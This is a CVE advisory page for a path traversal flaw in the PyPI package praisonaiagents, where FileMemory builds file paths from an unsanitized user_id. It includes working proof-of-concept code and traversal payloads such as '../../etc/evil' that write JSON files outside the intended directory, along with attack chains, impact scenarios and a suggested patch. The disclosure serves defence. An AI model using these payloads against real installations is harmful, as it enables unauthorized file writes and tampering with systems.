CVE-2026-55527 is a high-severity (CVSS 7.1) Path Traversal vulnerability in praisonaiagents. A fix is available for praisonaiagents — see the affected versions and patch details below.
PraisonAI: Arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-55527.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-55527 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 384,993 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
praisonaiagentsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all
memory file paths by directly joining the user_id parameter to a base path:
self.user_path = self.base_path / user_id # LINE 145 — no sanitization
No validation or normalization is applied to user_id before the path join.
An attacker who can supply a user_id containing ../ sequences can write
arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current main branch
(praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744
(which covered MultiAgentMonitor in an example file, not FileMemory in the
core library).
Details
Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:
def __init__(
self,
user_id: str = "default",
base_path: Optional[str] = None,
...
):
...
self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION
self.episodic_path = self.user_path / "episodic"
self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path
self.episodic_path.mkdir(parents=True, exist_ok=True)
self.config_file = self.user_path / "config.json"
self.short_term_file = self.user_path / "short_term.json"
self.long_term_file = self.user_path / "long_term.json"
self.entities_file = self.user_path / "entities.json"
self.summaries_file = self.user_path / "summaries.json"
All five JSON files are written under user_path, which is directly derived from
the attacker-controlled user_id. The written content is valid JSON in the memory
item format (configurable user content + metadata).
Comparison with the patched reference — praisonaiagents/storage/backends.py
(SQLiteBackend):
The sibling SQLiteBackend validates its table_name with a regex:
if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
raise ValueError(...)
No equivalent validation exists in FileMemory.
Attack chains:
A — Direct Python API (any caller):
from praisonaiagents.memory.file_memory import FileMemory
mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json (on Linux)
# Creates C:\evil\short_term.json (on Windows)
B — Via Agent constructor (memory dict):
from praisonaiagents import Agent
agent = Agent(
name="assistant",
memory={"provider": "file", "user_id": "../../etc/evil"},
instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init
C — Via agents.yaml / job submission (agent_yaml field):
# Submitted via POST /jobs with agent_yaml:
agents:
researcher:
memory:
provider: file
user_id: "../../tmp/evil"
role: "Research assistant"
goal: "Research topics"
agents_generator.py passes the memory.user_id value to the Agent constructor.
PoC
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
from pathlib import Path
import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id
try:
user_path.resolve().relative_to(base.resolve())
print("SAFE")
except ValueError:
print("!!PATH ESCAPES BASE!!")
print("Writes to:", user_path.resolve())
Output:
!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape
Step 2 — Live exploit (files written outside base):
import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)
TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()
mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE))
mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this")
mem.add_long_term("SENSITIVE_DATA", importance=0.9)
# Verify files appeared OUTSIDE the base directory
for fname in ["short_term.json", "long_term.json", "config.json"]:
f = TARGET / fname
if f.exists():
print(f"WRITTEN: {f}")
print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")
Observed output (run on current main):
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json
Impact
What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.
Who is impacted:
- Any application that creates
FileMemoryinstances with user-controlleduser_id - Any PraisonAI deployment where users can supply the
user_idparameter directly or indirectly (viaAgent(memory={"user_id": ...}), agents.yaml, or jobs API)
High-impact scenarios:
-
Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.
-
Overwrite web server / app config: Write
config.jsonorsettings.jsonto an app's configuration directory, potentially modifying runtime behavior. -
Cron / startup persistence: Write JSON files to
/etc/cron.d/paths (Linux) or%APPDATA%\Startup\(Windows) directories that might be interpreted by monitoring systems. -
Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.
-
Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.
Distinction from GHSA-766v-q9x3-g744:
| GHSA-766v-q9x3-g744 | This finding | |
|---|---|---|
| File | examples/context/12_multi_agent_context.py (example) | praisonaiagents/memory/file_memory.py (core library) |
| Class | MultiAgentMonitor | FileMemory |
| Fixed in | praisonaiagents >= 1.5.115 | Not patched (affects 1.6.52) |
---
## Remediation Suggestion (for maintainers)
Validate and resolve `user_id` before using it in path construction:
```python
def __init__(self, user_id: str = "default", base_path=None, ...):
...
# ADDED: sanitize user_id
import re
if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id):
raise ValueError(
f"user_id '{user_id}' contains invalid characters. "
f"Only alphanumeric characters, hyphens, underscores, and dots are allowed."
)
self.user_path = self.base_path / user_id
# ADDED: verify the resolved path is within base (defense-in-depth)
resolved = self.user_path.resolve()
base_resolved = self.base_path.resolve()
try:
resolved.relative_to(base_resolved)
except ValueError:
raise ValueError(
f"user_id '{user_id}' would write outside the base memory directory."
)
The same pattern should be applied to base_path parameter.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonaiagents | all versions | 1.6.58pip install --upgrade 'praisonaiagents==1.6.58' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonaiagents, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update praisonaiagents to 1.6.58 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55527 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-55527 in your dependencies?
Find it across PyPI, including transitive dependencies.